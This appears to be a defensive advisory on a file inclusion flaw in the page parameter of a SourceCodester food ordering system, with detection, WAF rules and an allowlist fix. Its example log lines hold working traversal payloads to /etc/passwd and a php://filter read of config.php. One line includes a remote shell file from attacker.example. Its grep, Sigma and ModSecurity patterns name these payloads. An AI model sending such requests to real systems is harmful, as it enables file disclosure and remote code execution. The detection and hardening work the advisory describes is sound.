CVE-2026-10694: File Inclusion in SourceCodester System

How to detect attempted exploitation

Detection should focus first on HTTP request telemetry. Because the vulnerable input is the page parameter in /index.php, defenders should look for suspicious requests that attempt traversal, wrapper usage, or direct file inclusion patterns. Common indicators include ../, URL-encoded traversal such as %2e%2e%2f, PHP stream wrappers such as php://, and references to sensitive files like /etc/passwd, win.ini, or application config files. Even if the exact exploit path differs, these request shapes are typical for LFI and RFI probing.

You should also review application behavior around unexpected error messages, warnings, or inclusion failures. PHP applications often emit warnings when an include path is invalid, and those warnings can show up in web server logs, PHP-FPM logs, or the application response itself. Repeated 200, 500, or 404 responses tied to crafted page values can indicate active testing. If your environment sits behind a WAF or reverse proxy, include those logs too; they often preserve full query strings that backend logs may truncate.

A second detection layer is host-level monitoring. File inclusion attempts can produce unusual access to local files by the web server process, especially if the attacker is trying to read configuration files or session data. On Linux, watch for php-fpm, apache2, httpd, or nginx worker contexts touching files outside the normal web root. This is especially useful when request logs are incomplete.

Technical Notes

Example suspicious access log patterns:

GET /index.php?page=../../../../etc/passwd HTTP/1.1
GET /index.php?page=..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1
GET /index.php?page=php://filter/convert.base64-encode/resource=config.php HTTP/1.1
GET /index.php?page=http://attacker.example/shell.txt HTTP/1.1

Basic grep triage against Apache or Nginx logs:

grep -E 'GET /index\.php\?page=|POST /index\.php\?page=' /var/log/apache2/access.log \
| grep -E '(\.\./|%2e%2e%2f|php://|file://|https?://|/etc/passwd|win\.ini|config\.php)'

Example Sigma-style logic concept defenders can adapt:

title: Possible LFI or RFI attempt against SourceCodester OFOS
logsource:
  category: webserver
detection:
  selection1:
    cs-uri-stem: "/index.php"
  selection2:
    cs-uri-query|contains:
      - "page=../"
      - "page=%2e%2e%2f"
      - "page=php://"
      - "page=file://"
      - "page=http://"
      - "page=https://"
      - "page=/etc/passwd"
  condition: selection1 and selection2
level: high

Mitigation and containment

Because no verified patch or fixed version is currently available, mitigation has to center on compensating controls. The most important step is to stop using user input directly in include or require statements. Replace dynamic include behavior with a strict allowlist of permitted values mapped to fixed file paths. If you maintain the application internally, this code change should be treated as urgent. It removes the vulnerable pattern rather than trying to sanitize every dangerous input string.

If you cannot change code immediately, reduce exposure. Restrict public access to the application through IP allowlisting, VPN access, reverse-proxy access controls, or temporary maintenance windows. At the PHP level, verify that risky settings are not enabling broader abuse. In older environments, allow_url_include should be disabled. Sensitive files should be stored outside the web root, and the web server user should have the minimum read permissions necessary. These controls do not eliminate local file inclusion, but they can significantly reduce blast radius.

For internet-exposed SMB deployments, a WAF rule targeting suspicious page= requests is a practical short-term measure. That should not be treated as a permanent fix, because attackers can vary encoding and payloads, but it can buy time. Also inspect the codebase for any other route parameters feeding include, require, include_once, or require_once, since these projects often reuse the same pattern in multiple files.

Technical Notes

Code-level workaround pattern for /index.php:

<?php
$routes = [
    'home' => __DIR__ . '/pages/home.php',
    'menu' => __DIR__ . '/pages/menu.php',
    'about' => __DIR__ . '/pages/about.php',
    'contact' => __DIR__ . '/pages/contact.php'
];

$page = $_GET['page'] ?? 'home';

if (!isset($routes[$page])) {
    http_response_code(404);
    exit;
}

include $routes[$page];

If the application is deployed from a Git working copy and you need an immediate local fix, the operational sequence is typically:

cd /var/www/html/online-food-ordering-system
cp index.php index.php.bak.$(date +%F)
vi index.php
php -l index.php
systemctl reload apache2 || systemctl reload nginx php8.2-fpm

PHP hardening checks and temporary mitigation:

php -i | grep allow_url_include
php -i | grep allow_url_fopen

If possible, enforce:

; php.ini
allow_url_include = Off
display_errors = Off

Then reload services:

systemctl reload apache2
# or
systemctl reload nginx php8.2-fpm

Example ModSecurity-style emergency rule concept:

SecRule REQUEST_URI "@beginsWith /index.php" "id:1069401,phase:2,deny,status:403,chain"
SecRule ARGS:page "@rx (\./|%2e%2e%2f|php://|file://|https?://)"

References

Primary references for this CVE include the NVD entry, the GitHub issue referenced by NVD, and the VulDB CVE page. Because some referenced materials were inaccessible or incomplete during retrieval, defenders should use these references as starting points and validate against their own codebase and environment.

• NVD CVE record: https://nvd.nist.gov/vuln/detail/CVE-2026-10694
• GitHub reference noted by NVD: https://github.com/Mikkoseven/cve/issues/4
• VulDB CVE page: https://vuldb.com/cve/CVE-2026-10694

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